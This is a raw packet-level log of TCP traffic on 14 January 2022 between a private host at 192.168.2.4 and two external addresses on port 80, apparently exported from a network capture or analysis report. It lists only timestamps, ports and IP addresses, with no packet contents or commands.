Jan 14, 2022 09:26:03.349400043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.349561930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.349580050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.349742889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.349760056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.350156069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.352197886 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.352947950 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.352974892 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.353550911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.353569984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.353728056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.353746891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.353831053 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.353859901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.353885889 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.354329109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.354537964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.354727983 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.354878902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.355026007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.355210066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.355773926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.356301069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.356317997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.356475115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.356492996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.356669903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.356688023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.356844902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.356856108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.356992006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.357045889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.357243061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.357259989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.357419968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.357435942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.357614040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.357630968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.357786894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.357803106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.357975960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.357992887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.358159065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.358175039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.358334064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.358351946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.358505964 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.358517885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.358530045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.358902931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.358921051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.359070063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.359086990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.359258890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.359277964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.359426022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.359442949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.359615088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.359632969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.359780073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.359797001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.359968901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.359987020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.360138893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.360155106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.360322952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.360341072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.360491991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.360508919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.360677004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.360694885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.360846996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.360862970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.361031055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.361048937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.361198902 CET	80	49910	185.163.204.22	192.168.2.4
Jan 14, 2022 09:26:03.361202002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.361210108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.361385107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.361403942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.361529112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.361541986 CET	49910	80	192.168.2.4	185.163.204.22
Jan 14, 2022 09:26:03.361716986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.361737013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.361855984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.363462925 CET	49910	80	192.168.2.4	185.163.204.22
Jan 14, 2022 09:26:03.366452932 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.366736889 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.366862059 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.367019892 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.367136002 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.367254972 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.370131016 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.370157003 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.370176077 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.370337009 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.370434999 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.370939970 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.372009039 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.372350931 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.372745037 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.373938084 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.374231100 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.374262094 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.374286890 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.374313116 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.374336958 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.374380112 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.375993013 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.378670931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.379100084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.379272938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.379291058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.379389048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.379550934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.379724979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.380007982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.380026102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.380206108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.380222082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.380382061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.380399942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.380539894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.380635977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.380775928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.380937099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.380994081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.381261110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.381575108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.381598949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.381763935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.381779909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.381942034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.381958961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.382116079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.382133007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.382296085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.382312059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.382486105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.382507086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.382658005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.382675886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.382828951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.382848024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.383014917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.383033037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.383193970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.383213043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.383394003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.383408070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.383563042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.383580923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.383750916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.383768082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.383907080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.383927107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.384090900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.384138107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.384258986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.384278059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.384457111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.384474993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.384610891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.384629011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.384798050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.384819984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.384984970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.385000944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.385157108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.385175943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.385329008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.385345936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.385529995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.385549068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.385705948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.385723114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.385840893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.386184931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.386334896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.386488914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.386650085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.389611959 CET	80	49910	185.163.204.22	192.168.2.4
Jan 14, 2022 09:26:03.390902996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.390928030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.391177893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.391453028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.391624928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.391643047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.391731024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.391983986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.392000914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.392168999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.392184973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.392379999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.392400026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.392672062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.392810106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.392827034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.392980099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.392995119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.393151999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.393168926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.393332958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.393348932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.393503904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.393522024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.393670082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.393683910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.393840075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.393857002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.394037962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.394053936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.394223928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.394260883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.394416094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.394431114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.397336006 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.413618088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.413973093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.414143085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.414326906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.414448977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.414676905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.414694071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.414885998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.414906025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.415127993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.415148020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.415327072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.415348053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.415549994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.415570974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.415783882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.415805101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.416006088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.416026115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.416155100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.416177988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.416445017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.416467905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.416498899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.416507959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.416693926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.416708946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.416862965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.416872025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.417052031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.417059898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.417220116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.417228937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.417406082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.417413950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.417577028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.417593002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.417763948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.417773008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.417936087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.417943954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.418121099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.418135881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.418296099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.418303013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.418479919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.418489933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.418673038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.418682098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.418840885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.418853998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.418988943 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.419018030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.419028997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.419198036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.419212103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.419280052 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.419323921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.419473886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.419496059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.419595003 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.419635057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.419750929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.419770956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.424918890 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.425247908 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.426062107 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.426632881 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.435662985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.435805082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.435929060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.436105013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.436125040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.436283112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.436300039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.436472893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.436489105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.436640978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.436656952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.436822891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.436840057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.436933994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.437012911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.437113047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.437206984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.437311888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.437473059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.437490940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.437649012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.437690973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.437742949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.437922955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.437938929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.438108921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.438123941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.438282013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.438301086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.438463926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.438481092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.438586950 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.438635111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.438740969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.438761950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.438862085 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.438890934 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.438906908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.438932896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.439116001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.439131975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.439287901 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.439304113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.439313889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.439316034 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.439486027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.439502001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.439699888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.440249920 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.440275908 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.440552950 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.440578938 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.440606117 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.440829992 CET	80	49891	185.215.113.35	192.168.2.4
